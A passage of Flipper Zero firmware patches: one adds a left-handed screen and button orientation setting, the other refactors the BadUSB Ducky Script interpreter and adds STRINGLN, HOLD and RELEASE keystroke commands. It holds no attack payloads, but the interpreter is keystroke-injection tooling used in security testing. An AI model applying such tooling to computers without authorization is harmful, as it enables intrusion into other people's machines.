view_dispatcher_set_current_view(ViewDispatcher* view_dispatcher, View* vie view_dispatcher->current_view = view; // Dispatch view enter event if(view_dispatcher->current_view) { - if(view->orientation == ViewOrientationVertical) { - view_port_set_orientation(view_dispatcher->view_port, ViewPortOrientationVertical); - } else if(view->orientation == ViewOrientationVerticalFlip) { - view_port_set_orientation(view_dispatcher->view_port, ViewPortOrientationVerticalFlip); - } else if(view->orientation == ViewOrientationHorizontal) { - view_port_set_orientation(view_dispatcher->view_port, ViewPortOrientationHorizontal); - } else if(view->orientation == ViewOrientationHorizontalFlip) { - view_port_set_orientation( - view_dispatcher->view_port, ViewPortOrientationHorizontalFlip); + ViewPortOrientation orientation = + view_dispatcher_view_port_orientation_table[view->orientation]; + if(view_port_get_orientation(view_dispatcher->view_port) != orientation) { + view_port_set_orientation(view_dispatcher->view_port, orientation); + // we just rotated input keys, now it's time to sacrifice some input + view_dispatcher->ongoing_input = 0; } view_enter(view_dispatcher->current_view); view_port_enabled_set(view_dispatcher->view_port, true); diff --git a/applications/services/gui/view_port.c b/applications/services/gui/view_port.c index 5760ed577..8c2ff6fe0 100644 --- a/applications/services/gui/view_port.c +++ b/applications/services/gui/view_port.c @@ -1,6 +1,8 @@ #include "view_port_i.h" #include +#include +#include #include "gui.h" #include "gui_i.h" @@ -48,27 +50,45 @@ static const InputKey view_port_input_mapping[ViewPortOrientationMAX][InputKeyMA InputKeyBack}, //ViewPortOrientationVerticalFlip }; +static const InputKey view_port_left_hand_input_mapping[InputKeyMAX] = + {InputKeyDown, InputKeyUp, InputKeyLeft, InputKeyRight, InputKeyOk, InputKeyBack}; + +static const CanvasOrientation view_port_orientation_mapping[ViewPortOrientationMAX] = { + [ViewPortOrientationHorizontal] = CanvasOrientationHorizontal, + [ViewPortOrientationHorizontalFlip] = CanvasOrientationHorizontalFlip, + [ViewPortOrientationVertical] = CanvasOrientationVertical, + [ViewPortOrientationVerticalFlip] = CanvasOrientationVerticalFlip, +}; + // Remaps directional pad buttons on Flipper based on ViewPort orientation static void view_port_map_input(InputEvent* event, ViewPortOrientation orientation) { furi_assert(orientation < ViewPortOrientationMAX && event->key < InputKeyMAX); + + if(event->sequence_source != INPUT_SEQUENCE_SOURCE_HARDWARE) { + return; + } + + if(orientation == ViewPortOrientationHorizontal || + orientation == ViewPortOrientationHorizontalFlip) { + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + event->key = view_port_left_hand_input_mapping[event->key]; + } + } event->key = view_port_input_mapping[orientation][event->key]; } static void view_port_setup_canvas_orientation(const ViewPort* view_port, Canvas* canvas) { - switch(view_port->orientation) { - case ViewPortOrientationHorizontalFlip: - canvas_set_orientation(canvas, CanvasOrientationHorizontalFlip); - break; - case ViewPortOrientationVertical: - canvas_set_orientation(canvas, CanvasOrientationVertical); - break; - case ViewPortOrientationVerticalFlip: - canvas_set_orientation(canvas, CanvasOrientationVerticalFlip); - break; - default: - canvas_set_orientation(canvas, CanvasOrientationHorizontal); - break; - }; + CanvasOrientation orientation = view_port_orientation_mapping[view_port->orientation]; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + if(orientation == CanvasOrientationHorizontal) { + orientation = CanvasOrientationHorizontalFlip; + } else if(orientation == CanvasOrientationHorizontalFlip) { + orientation = CanvasOrientationHorizontal; + } + } + + canvas_set_orientation(canvas, orientation); } ViewPort* view_port_alloc() { diff --git a/applications/services/input/input.c b/applications/services/input/input.c index e1e581c9f..8da0a3400 100644 --- a/applications/services/input/input.c +++ b/applications/services/input/input.c @@ -23,7 +23,8 @@ inline static void input_timer_stop(FuriTimer* timer_id) { void input_press_timer_callback(void* arg) { InputPinState* input_pin = arg; InputEvent event; - event.sequence = input_pin->counter; + event.sequence_source = INPUT_SEQUENCE_SOURCE_HARDWARE; + event.sequence_counter = input_pin->counter; event.key = input_pin->pin->key; input_pin->press_counter++; if(input_pin->press_counter == INPUT_LONG_PRESS_COUNTS) { @@ -114,16 +115,17 @@ int32_t input_srv(void* p) { // Common state info InputEvent event; + event.sequence_source = INPUT_SEQUENCE_SOURCE_HARDWARE; event.key = input->pin_states[i].pin->key; // Short / Long / Repeat timer routine if(state) { input->counter++; input->pin_states[i].counter = input->counter; - event.sequence = input->pin_states[i].counter; + event.sequence_counter = input->pin_states[i].counter; input_timer_start(input->pin_states[i].press_timer, INPUT_PRESS_TICKS); } else { - event.sequence = input->pin_states[i].counter; + event.sequence_counter = input->pin_states[i].counter; input_timer_stop(input->pin_states[i].press_timer); if(input->pin_states[i].press_counter < INPUT_LONG_PRESS_COUNTS) { event.type = InputTypeShort; diff --git a/applications/services/input/input.h b/applications/services/input/input.h index 062dc0fa5..a62e84569 100644 --- a/applications/services/input/input.h +++ b/applications/services/input/input.h @@ -12,6 +12,8 @@ extern "C" { #endif #define RECORD_INPUT_EVENTS "input_events" +#define INPUT_SEQUENCE_SOURCE_HARDWARE (0u) +#define INPUT_SEQUENCE_SOURCE_SOFTWARE (1u) /** Input Types * Some of them are physical events and some logical @@ -27,7 +29,13 @@ typedef enum { /** Input Event, dispatches with FuriPubSub */ typedef struct { - uint32_t sequence; + union { + uint32_t sequence; + struct { + uint8_t sequence_source : 2; + uint32_t sequence_counter : 30; + }; + }; InputKey key; InputType type; } InputEvent; diff --git a/applications/services/rpc/rpc_gui.c b/applications/services/rpc/rpc_gui.c index e66553d51..c2af425e9 100644 --- a/applications/services/rpc/rpc_gui.c +++ b/applications/services/rpc/rpc_gui.c @@ -12,6 +12,8 @@ typedef enum { #define RpcGuiWorkerFlagAny (RpcGuiWorkerFlagTransmit | RpcGuiWorkerFlagExit) +#define RPC_GUI_INPUT_RESET (0u) + typedef struct { RpcSession* session; Gui* gui; @@ -26,6 +28,9 @@ typedef struct { bool virtual_display_not_empty; bool is_streaming; + + uint32_t input_key_counter[InputKeyMAX]; + uint32_t input_counter; } RpcGuiSystem; static void @@ -194,6 +199,22 @@ static void return; } + // Event sequence shenanigans + event.sequence_source = INPUT_SEQUENCE_SOURCE_SOFTWARE; + if(event.type == InputTypePress) { + rpc_gui->input_counter++; + if(rpc_gui->input_counter == RPC_GUI_INPUT_RESET) rpc_gui->input_counter++; + rpc_gui->input_key_counter[event.key] = rpc_gui->input_counter; + } + if(rpc_gui->input_key_counter[event.key] == RPC_GUI_INPUT_RESET) { + FURI_LOG_W(TAG, "Out of sequence input event: key %d, type %d,", event.key, event.type); + } + event.sequence_counter = rpc_gui->input_key_counter[event.key]; + if(event.type == InputTypeRelease) { + rpc_gui->input_key_counter[event.key] = RPC_GUI_INPUT_RESET; + } + + // Submit event FuriPubSub* input_events = furi_record_open(RECORD_INPUT_EVENTS); furi_check(input_events); furi_pubsub_publish(input_events, &event); diff --git a/applications/settings/system/system_settings.c b/applications/settings/system/system_settings.c index 5eade2115..cb74d7a83 100644 --- a/applications/settings/system/system_settings.c +++ b/applications/settings/system/system_settings.c @@ -124,6 +124,23 @@ static void date_format_changed(VariableItem* item) { locale_set_date_format(date_format_value[index]); } +const char* const hand_mode[] = { + "Righty", + "Lefty", +}; + +static void hand_orient_changed(VariableItem* item) { + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, hand_mode[index]); + if(index) { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } + + loader_update_menu(); +} + static uint32_t system_settings_exit(void* context) { UNUSED(context); return VIEW_NONE; @@ -145,6 +162,12 @@ SystemSettings* system_settings_alloc() { uint8_t value_index; app->var_item_list = variable_item_list_alloc(); + item = variable_item_list_add( + app->var_item_list, "Hand Orient", COUNT_OF(hand_mode), hand_orient_changed, app); + value_index = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient) ? 1 : 0; + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, hand_mode[value_index]); + item = variable_item_list_add( app->var_item_list, "Units", diff --git a/firmware/targets/furi_hal_include/furi_hal_rtc.h b/firmware/targets/furi_hal_include/furi_hal_rtc.h index fe095e749..b16b04a68 100644 --- a/firmware/targets/furi_hal_include/furi_hal_rtc.h +++ b/firmware/targets/furi_hal_include/furi_hal_rtc.h @@ -29,6 +29,7 @@ typedef enum { FuriHalRtcFlagFactoryReset = (1 << 1), FuriHalRtcFlagLock = (1 << 2), FuriHalRtcFlagC2Update = (1 << 3), + FuriHalRtcFlagHandOrient = (1 << 4), } FuriHalRtcFlag; typedef enum { From 5b05aeea827c7740184bfcbe47e03eef6e3858f8 Mon Sep 17 00:00:00 2001 From: Leo Smith <19672114+p4p1@users.noreply.github.com> Date: Thu, 9 Mar 2023 18:42:34 +0100 Subject: [PATCH 061/329] [#1989] updated parser and added stringln, hold and release (#2448) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * updated parser and added stringln, hold and release * removed unused code as requested from PR * BadUsb: tiny change to trigger rebuild Co-authored-by: p4p1 Co-authored-by: あく --- applications/main/bad_usb/bad_usb_script.c | 287 ++++-------------- applications/main/bad_usb/bad_usb_script.h | 27 +- applications/main/bad_usb/mnemonic.c | 327 +++++++++++++++++++++ applications/main/bad_usb/mnemonic.h | 96 ++++++ 4 files changed, 512 insertions(+), 225 deletions(-) create mode 100644 applications/main/bad_usb/mnemonic.c create mode 100644 applications/main/bad_usb/mnemonic.h diff --git a/applications/main/bad_usb/bad_usb_script.c b/applications/main/bad_usb/bad_usb_script.c index beb35b894..12abc766a 100644 --- a/applications/main/bad_usb/bad_usb_script.c +++ b/applications/main/bad_usb/bad_usb_script.c @@ -6,11 +6,11 @@ #include #include #include "bad_usb_script.h" +#include "mnemonic.h" #include #define TAG "BadUSB" #define WORKER_TAG TAG "Worker" -#define FILE_BUFFER_LEN 16 #define SCRIPT_STATE_ERROR (-1) #define SCRIPT_STATE_END (-2) @@ -26,24 +26,6 @@ typedef enum { WorkerEvtDisconnect = (1 << 3), } WorkerEvtFlags; -struct BadUsbScript { - FuriHalUsbHidConfig hid_cfg; - BadUsbState st; - FuriString* file_path; - uint32_t defdelay; - uint16_t layout[128]; - uint32_t stringdelay; - FuriThread* thread; - uint8_t file_buf[FILE_BUFFER_LEN + 1]; - uint8_t buf_start; - uint8_t buf_len; - bool file_end; - FuriString* line; - - FuriString* line_prev; - uint32_t repeat_cnt; -}; - typedef struct { char* name; uint16_t keycode; @@ -112,40 +94,21 @@ static const char ducky_cmd_comment[] = {"REM"}; static const char ducky_cmd_id[] = {"ID"}; static const char ducky_cmd_delay[] = {"DELAY "}; static const char ducky_cmd_string[] = {"STRING "}; +static const char ducky_cmd_stringln[] = {"STRINGLN "}; static const char ducky_cmd_defdelay_1[] = {"DEFAULT_DELAY "}; static const char ducky_cmd_defdelay_2[] = {"DEFAULTDELAY "}; static const char ducky_cmd_stringdelay_1[] = {"STRINGDELAY "}; static const char ducky_cmd_stringdelay_2[] = {"STRING_DELAY "}; static const char ducky_cmd_repeat[] = {"REPEAT "}; static const char ducky_cmd_sysrq[] = {"SYSRQ "}; +static const char ducky_cmd_hold[] = {"HOLD "}; +static const char ducky_cmd_release[] = {"RELEASE "}; static const char ducky_cmd_altchar[] = {"ALTCHAR "}; static const char ducky_cmd_altstr_1[] = {"ALTSTRING "}; static const char ducky_cmd_altstr_2[] = {"ALTCODE "}; -static const uint8_t numpad_keys[10] = { - HID_KEYPAD_0, - HID_KEYPAD_1, - HID_KEYPAD_2, - HID_KEYPAD_3, - HID_KEYPAD_4, - HID_KEYPAD_5, - HID_KEYPAD_6, - HID_KEYPAD_7, - HID_KEYPAD_8, - HID_KEYPAD_9, -}; - -static bool ducky_get_number(const char* param, uint32_t* val) { - uint32_t value = 0; - if(sscanf(param, "%lu", &value) == 1) { - *val = value; - return true; - } - return false; -} - -static uint32_t ducky_get_command_len(const char* line) { +uint32_t ducky_get_command_len(const char* line) { uint32_t len = strlen(line); for(uint32_t i = 0; i < len; i++) { if(line[i] == ' ') return i; @@ -153,84 +116,11 @@ static uint32_t ducky_get_command_len(const char* line) { return 0; } -static bool ducky_is_line_end(const char chr) { +bool ducky_is_line_end(const char chr) { return ((chr == ' ') || (chr == '\0') || (chr == '\r') || (chr == '\n')); } -static void ducky_numlock_on() { - if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) { - furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK); - furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK); - } -} - -static bool ducky_numpad_press(const char num) { - if((num < '0') || (num > '9')) return false; - - uint16_t key = numpad_keys[num - '0']; - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release(key); - - return true; -} - -static bool ducky_altchar(const char* charcode) { - uint8_t i = 0; - bool state = false; - - FURI_LOG_I(WORKER_TAG, "char %s", charcode); - - furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT); - - while(!ducky_is_line_end(charcode[i])) { - state = ducky_numpad_press(charcode[i]); - if(state == false) break; - i++; - } - - furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT); - return state; -} - -static bool ducky_altstring(const char* param) { - uint32_t i = 0; - bool state = false; - - while(param[i] != '\0') { - if((param[i] < ' ') || (param[i] > '~')) { - i++; - continue; // Skip non-printable chars - } - - char temp_str[4]; - snprintf(temp_str, 4, "%u", param[i]); - - state = ducky_altchar(temp_str); - if(state == false) break; - i++; - } - return state; -} - -static bool ducky_string(BadUsbScript* bad_usb, const char* param) { - uint32_t i = 0; - - while(param[i] != '\0') { - uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]); - if(keycode != HID_KEYBOARD_NONE) { - furi_hal_hid_kb_press(keycode); - furi_hal_hid_kb_release(keycode); - if(bad_usb->stringdelay > 0) { - furi_delay_ms(bad_usb->stringdelay); - } - } - i++; - } - bad_usb->stringdelay = 0; - return true; -} - -static uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars) { +uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars) { for(size_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) { size_t key_cmd_len = strlen(ducky_keys[i].name); if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && @@ -248,119 +138,68 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, FuriString* line, char* error, size_t error_len) { uint32_t line_len = furi_string_size(line); const char* line_tmp = furi_string_get_cstr(line); - bool state = false; + const char* ducky_cmd_table[] = { + ducky_cmd_comment, + ducky_cmd_id, + ducky_cmd_delay, + ducky_cmd_string, + ducky_cmd_defdelay_1, + ducky_cmd_defdelay_2, + ducky_cmd_stringdelay_1, + ducky_cmd_stringdelay_2, + ducky_cmd_repeat, + ducky_cmd_sysrq, + ducky_cmd_altchar, + ducky_cmd_altstr_1, + ducky_cmd_altstr_2, + ducky_cmd_stringln, + ducky_cmd_hold, + ducky_cmd_release, + NULL}; + int32_t (*fnc_ptr[])(BadUsbScript*, FuriString*, const char*, char*, size_t) = { + &ducky_fnc_noop, + &ducky_fnc_noop, + &ducky_fnc_delay, + &ducky_fnc_string, + &ducky_fnc_defdelay, + &ducky_fnc_defdelay, + &ducky_fnc_strdelay, + &ducky_fnc_strdelay, + &ducky_fnc_repeat, + &ducky_fnc_sysrq, + &ducky_fnc_altchar, + &ducky_fnc_altstring, + &ducky_fnc_altstring, + &ducky_fnc_stringln, + &ducky_fnc_hold, + &ducky_fnc_release, + NULL}; if(line_len == 0) { return SCRIPT_STATE_NEXT_LINE; // Skip empty lines } - FURI_LOG_D(WORKER_TAG, "line:%s", line_tmp); - - // General commands - if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) { - // REM - comment line - return (0); - } else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) { - // ID - executed in ducky_script_preload - return (0); - } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) { - // DELAY - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint32_t delay_val = 0; - state = ducky_get_number(line_tmp, &delay_val); - if((state) && (delay_val > 0)) { - return (int32_t)delay_val; - } - if(error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } else if( - (strncmp(line_tmp, ducky_cmd_defdelay_1, strlen(ducky_cmd_defdelay_1)) == 0) || - (strncmp(line_tmp, ducky_cmd_defdelay_2, strlen(ducky_cmd_defdelay_2)) == 0)) { - // DEFAULT_DELAY - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_usb->defdelay); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if( - (strncmp(line_tmp, ducky_cmd_stringdelay_1, strlen(ducky_cmd_stringdelay_1)) == 0) || - (strncmp(line_tmp, ducky_cmd_stringdelay_2, strlen(ducky_cmd_stringdelay_2)) == 0)) { - //STRINGDELAY, finally it's here - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_usb->stringdelay); - if((state) && (bad_usb->stringdelay > 0)) { - return state; - } - if(error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - - } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) { - // STRING - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_string(bad_usb, line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid string %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) { - // ALTCHAR - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - ducky_numlock_on(); - state = ducky_altchar(line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid altchar %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if( - (strncmp(line_tmp, ducky_cmd_altstr_1, strlen(ducky_cmd_altstr_1)) == 0) || - (strncmp(line_tmp, ducky_cmd_altstr_2, strlen(ducky_cmd_altstr_2)) == 0)) { - // ALTSTRING - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - ducky_numlock_on(); - state = ducky_altstring(line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid altstring %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) { - // REPEAT - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_usb->repeat_cnt); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_sysrq, strlen(ducky_cmd_sysrq)) == 0) { - // SYSRQ - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); - furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release_all(); - return (0); - } else { - // Special keys + modifiers - uint16_t key = ducky_get_keycode(bad_usb, line_tmp, false); - if(key == HID_KEYBOARD_NONE) { - if(error != NULL) { - snprintf(error, error_len, "No keycode defined for %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } - if((key & 0xFF00) != 0) { - // It's a modifier key - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - key |= ducky_get_keycode(bad_usb, line_tmp, true); - } - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release(key); - return (0); + // Ducky Lang Functions + for(size_t i = 0; ducky_cmd_table[i]; i++) { + if(strncmp(line_tmp, ducky_cmd_table[i], strlen(ducky_cmd_table[i])) == 0) + return ((fnc_ptr[i])(bad_usb, line, line_tmp, error, error_len)); } + // Special keys + modifiers + uint16_t key = ducky_get_keycode(bad_usb, line_tmp, false); + if(key == HID_KEYBOARD_NONE) { + if(error != NULL) { + snprintf(error, error_len, "No keycode defined for %s", line_tmp); + } + return SCRIPT_STATE_ERROR; + } + if((key & 0xFF00) != 0) { + // It's a modifier key + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + key |= ducky_get_keycode(bad_usb, line_tmp, true); + } + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release(key); + return (0); } static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) { diff --git a/applications/main/bad_usb/bad_usb_script.h b/applications/main/bad_usb/bad_usb_script.h index 1e4d98fe7..fef2deaed 100644 --- a/applications/main/bad_usb/bad_usb_script.h +++ b/applications/main/bad_usb/bad_usb_script.h @@ -5,8 +5,9 @@ extern "C" { #endif #include +#include -typedef struct BadUsbScript BadUsbScript; +#define FILE_BUFFER_LEN 16 typedef enum { BadUsbStateInit, @@ -29,6 +30,24 @@ typedef struct { char error[64]; } BadUsbState; +typedef struct BadUsbScript { + FuriHalUsbHidConfig hid_cfg; + BadUsbState st; + FuriString* file_path; + uint32_t defdelay; + uint16_t layout[128]; + uint32_t stringdelay; + FuriThread* thread; + uint8_t file_buf[FILE_BUFFER_LEN + 1]; + uint8_t buf_start; + uint8_t buf_len; + bool file_end; + FuriString* line; + + FuriString* line_prev; + uint32_t repeat_cnt; +} BadUsbScript; + BadUsbScript* bad_usb_script_open(FuriString* file_path); void bad_usb_script_close(BadUsbScript* bad_usb); @@ -43,6 +62,12 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb); BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb); +uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars); + +uint32_t ducky_get_command_len(const char* line); + +bool ducky_is_line_end(const char chr); + #ifdef __cplusplus } #endif diff --git a/applications/main/bad_usb/mnemonic.c b/applications/main/bad_usb/mnemonic.c new file mode 100644 index 000000000..f21cc98bb --- /dev/null +++ b/applications/main/bad_usb/mnemonic.c @@ -0,0 +1,327 @@ +#include +#include +#include "mnemonic.h" + +#define TAG "BadUSB" +#define WORKER_TAG TAG "Worker" + +#define FILE_BUFFER_LEN 16 +#define SCRIPT_STATE_ERROR (-1) +#define SCRIPT_STATE_END (-2) +#define SCRIPT_STATE_NEXT_LINE (-3) + +#define BADUSB_ASCII_TO_KEY(script, x) \ + (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) + +static const uint8_t numpad_keys[10] = { + HID_KEYPAD_0, + HID_KEYPAD_1, + HID_KEYPAD_2, + HID_KEYPAD_3, + HID_KEYPAD_4, + HID_KEYPAD_5, + HID_KEYPAD_6, + HID_KEYPAD_7, + HID_KEYPAD_8, + HID_KEYPAD_9, +}; + +static bool ducky_get_number(const char* param, uint32_t* val) { + uint32_t value = 0; + if(sscanf(param, "%lu", &value) == 1) { + *val = value; + return true; + } + return false; +} + +static void ducky_numlock_on() { + if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) { + furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK); + furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK); + } +} +static bool ducky_numpad_press(const char num) { + if((num < '0') || (num > '9')) return false; + + uint16_t key = numpad_keys[num - '0']; + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release(key); + + return true; +} + +static bool ducky_altchar(const char* charcode) { + uint8_t i = 0; + bool state = false; + + FURI_LOG_I(WORKER_TAG, "char %s", charcode); + + furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT); + + while(!ducky_is_line_end(charcode[i])) { + state = ducky_numpad_press(charcode[i]); + if(state == false) break; + i++; + } + + furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT); + return state; +} + +static bool ducky_altstring(const char* param) { + uint32_t i = 0; + bool state = false; + + while(param[i] != '\0') { + if((param[i] < ' ') || (param[i] > '~')) { + i++; + continue; // Skip non-printable chars + } + + char temp_str[4]; + snprintf(temp_str, 4, "%u", param[i]); + + state = ducky_altchar(temp_str); + if(state == false) break; + i++; + } + return state; +} + +static bool ducky_string(BadUsbScript* bad_usb, const char* param) { + uint32_t i = 0; + + while(param[i] != '\0') { + uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]); + if(keycode != HID_KEYBOARD_NONE) { + furi_hal_hid_kb_press(keycode); + furi_hal_hid_kb_release(keycode); + if(bad_usb->stringdelay > 0) { + furi_delay_ms(bad_usb->stringdelay); + } + } + i++; + } + bad_usb->stringdelay = 0; + return true; +} + +int32_t ducky_fnc_noop( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + (void)bad_usb; + (void)line; + (void)line_tmp; + (void)error; + (void)error_len; + return (0); +} + +int32_t ducky_fnc_delay( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)bad_usb; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + uint32_t delay_val = 0; + state = ducky_get_number(line_tmp, &delay_val); + if((state) && (delay_val > 0)) { + return (int32_t)delay_val; + } + if(error != NULL) { + snprintf(error, error_len, "Invalid number %s", line_tmp); + } + return SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_defdelay( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + state = ducky_get_number(line_tmp, &bad_usb->defdelay); + if(!state && error != NULL) { + snprintf(error, error_len, "Invalid number %s", line_tmp); + } + return (state) ? (0) : SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_strdelay( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + state = ducky_get_number(line_tmp, &bad_usb->stringdelay); + if((state) && (bad_usb->stringdelay > 0)) { + return state; + } + if(error != NULL) { + snprintf(error, error_len, "Invalid number %s", line_tmp); + } + return SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_string( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + state = ducky_string(bad_usb, line_tmp); + if(!state && error != NULL) { + snprintf(error, error_len, "Invalid string %s", line_tmp); + } + return (state) ? (0) : SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_repeat( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + state = ducky_get_number(line_tmp, &bad_usb->repeat_cnt); + if(!state && error != NULL) { + snprintf(error, error_len, "Invalid number %s", line_tmp); + } + return (state) ? (0) : SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_sysrq( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + (void)error; + (void)error_len; + (void)line; + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); + furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release_all(); + return (0); +} + +int32_t ducky_fnc_altchar( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)bad_usb; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + ducky_numlock_on(); + state = ducky_altchar(line_tmp); + if(!state && error != NULL) { + snprintf(error, error_len, "Invalid altchar %s", line_tmp); + } + return (state) ? (0) : SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_altstring( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)bad_usb; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + ducky_numlock_on(); + state = ducky_altstring(line_tmp); + if(!state && error != NULL) { + snprintf(error, error_len, "Invalid altstring %s", line_tmp); + } + return (state) ? (0) : SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_stringln( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + bool state = false; + (void)line; + + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + state = ducky_string(bad_usb, line_tmp); + if(!state && error != NULL) { + snprintf(error, error_len, "Invalid string %s", line_tmp); + } + furi_hal_hid_kb_press(HID_KEYBOARD_RETURN); + furi_hal_hid_kb_release(HID_KEYBOARD_RETURN); + return (state) ? (0) : SCRIPT_STATE_ERROR; +} + +int32_t ducky_fnc_hold( + BadUsbScript* bad_usb, + FuriString* line, + const char* line_tmp, + char* error, + size_t error_len) { + (void)line; + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); + if(key == HID_KEYBOARD_NONE) { + if(error != NULL) { + snprintf(error, error_len, "No keycode defined for %s", line_tmp); + } + return SCRIPT_STATE_ERROR; + } + furi_hal_hid_kb_press(key); + return (0); +} + +int32_t 